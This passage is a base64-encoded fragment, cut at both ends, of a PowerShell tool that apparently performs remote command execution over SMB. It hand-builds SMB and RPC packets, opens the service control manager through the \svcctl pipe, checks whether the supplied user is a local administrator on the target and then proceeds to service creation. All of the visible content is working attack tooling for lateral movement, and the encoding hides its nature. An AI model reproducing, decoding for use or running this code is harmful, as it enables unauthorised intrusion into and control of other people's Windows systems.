JlIl0gPSAkU01CX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ3JlYXRlQW5kWFJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAnQ3JlYXRlQW5kWFJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmFtZWRfcGlwZV9ieXRlcyA9IDB4NWMsMHg3MywweDc2LDB4NjMsMHg2MywweDc0LDB4NmMsMHgwMCAjIFxzdmNjdGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfdHJlZV9JRCA9ICRTTUJfY2xpZW50X3JlY2VpdmVbMjgsMjldDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4YTIgMHgxOCAweDAyLDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25pbmdfc2VxdWVuY2UNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CTlRDcmVhdGVBbmRYUmVxdWVzdCAkU01CX25hbWVkX3BpcGVfYnl0ZXMNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkU01CX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ24gPSAkc2Vzc2lvbl9rZXkgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRNRDUuQ29tcHV0ZUhhc2goJFNNQl9zaWduKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJFNNQl9zaWduYXR1cmVbMC4uN10NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdSUENCaW5kJw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdSUENCaW5kJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX0ZJRCA9ICRTTUJfY2xpZW50X3JlY2VpdmVbNDIsNDNdDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MmYgMHgxOCAweDA1LDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRTTUJfc2lnbmluZ19zZXF1ZW5jZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zaWduaW5nX2NvdW50ZXIpICsgMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1JQQ19kYXRhID0gR2V0LVBhY2tldFJQQ0JpbmQgMSAweGI4LDB4MTAgMHgwMSAweDAwLDB4MDAgJFNNQl9uYW1lZF9waXBlX1VVSUQgMHgwMiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQldyaXRlQW5kWFJlcXVlc3QNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGFbIlNNQldyaXRlQW5kWFJlcXVlc3RfUmVtYWluaW5nIl0gPSAweDQ4LDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGFbIlNNQldyaXRlQW5kWFJlcXVlc3RfRGF0YUxlbmd0aExvdyJdID0gMHg0OCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhWyJTTUJXcml0ZUFuZFhSZXF1ZXN0X0J5dGVDb3VudCJdID0gMHg0OCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhWyJTTUJXcml0ZUFuZFhSZXF1ZXN0X0ZJRCJdID0gJFNNQl9GSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGFfbGVuZ3RoID0gJFNNQl9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkUlBDX2RhdGFfTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ24gPSAkc2Vzc2lvbl9rZXkgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSArICRSUENfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRBbmRYUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlX25leHQgPSAnT3BlblNDTWFuYWdlclcnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAnUmVhZEFuZFhSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBTdGFydC1TbGVlcCAtbSAkU2xlZXANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlciA9IEdldC1QYWNrZXRTTUJIZWFkZXIgMHgyZSAweDE4IDB4MDUsMHgyOCAkU01CX3RyZWVfSUQgJHByb2Nlc3NfSURfYnl0ZXMgJFNNQl91c2VyX0lEDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9GbGFnczIiXSA9IDB4MDUsMHg0OA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmluZ19jb3VudGVyID0gJFNNQl9zaWduaW5nX2NvdW50ZXIgKyAyIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25pbmdfc2VxdWVuY2UNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CUmVhZEFuZFhSZXF1ZXN0DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhWyJTTUJSZWFkQW5kWFJlcXVlc3RfRklEIl0gPSAkU01CX0ZJRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRTTUJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbiA9ICRzZXNzaW9uX2tleSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJFNNQl9jbGllbnRfc3RhZ2VfbmV4dA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdPcGVuU0NNYW5hZ2VyVycNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyID0gR2V0LVBhY2tldFNNQkhlYWRlciAweDJmIDB4MTggMHgwNSwweDI4ICRTTUJfdHJlZV9JRCAkcHJvY2Vzc19JRF9ieXRlcyAkU01CX3VzZXJfSUQNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX0ZsYWdzMiJdID0gMHgwNSwweDQ4DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nX2NvdW50ZXIgPSAkU01CX3NpZ25pbmdfY291bnRlciArIDIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kU01CX3NpZ25pbmdfc2VxdWVuY2UgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRTTUJfc2lnbmluZ19jb3VudGVyKSArIDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmluZ19zZXF1ZW5jZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NDTV9kYXRhID0gR2V0LVBhY2tldFNDTU9wZW5TQ01hbmFnZXJXICRTTUJfc2VydmljZV9ieXRlcyAkU01CX3NlcnZpY2VfbGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkU0NNX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1JQQ19kYXRhID0gR2V0LVBhY2tldFJQQ1JlcXVlc3QgMHgwMyAkU0NNX2RhdGEubGVuZ3RoIDAgMCAweDAxLDB4MDAsMHgwMCwweDAwIDB4MDAsMHgwMCAweDBmLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQldyaXRlQW5kWFJlcXVlc3QgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YVsiU01CV3JpdGVBbmRYUmVxdWVzdF9GSUQiXSA9ICRTTUJfRklEDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQ19kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUJfZGF0YS5MZW5ndGggKyAkU0NNX2RhdGEuTGVuZ3RoICsgJFJQQ19kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRSUENfZGF0YV9sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbiA9ICRzZXNzaW9uX2tleSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkTUQ1LkNvbXB1dGVIYXNoKCRTTUJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRTTUJfc2lnbmF0dXJlWzAuLjddDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnUmVhZEFuZFhSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2VfbmV4dCA9ICdDaGVja0FjY2VzcycgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ0NoZWNrQWNjZXNzJw0KICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMDguLjExMV0pIC1lcSAnMDAtMDAtMDAtMDAnIC1hbmQgW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzg4Li4xMDddKSAtbmUgJzAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NlcnZpY2VfbWFuYWdlcl9jb250ZXh0X2hhbmRsZSA9ICRTTUJfY2xpZW50X3JlY2VpdmVbODguLjEwN10NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfZXhlY3V0ZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIiRvdXRwdXRfdXNlcm5hbWUgaXMgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ3JlYXRlU2VydmljZVcnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiJG91dHB1dF91c2VybmFtZSBpcyBhIGxvY2FsIGFkbWluaXN0cmF0b3Igb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSA9IDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ2xvc2VTZXJ2aWNlSGFuZGxlJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMDguLjExMV0pIC1lcSAnMDUtMDAtMDAtMDAnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiJG91dHB1dF91c2VybmFtZSBpcyBub3QgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQkV4ZWNfZmFpbGVkID0gJHRydWUNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIlNvbWV0aGluZyB3ZW50IHdyb25nIHdpdGggJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CRXhlY19mYWlsZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgI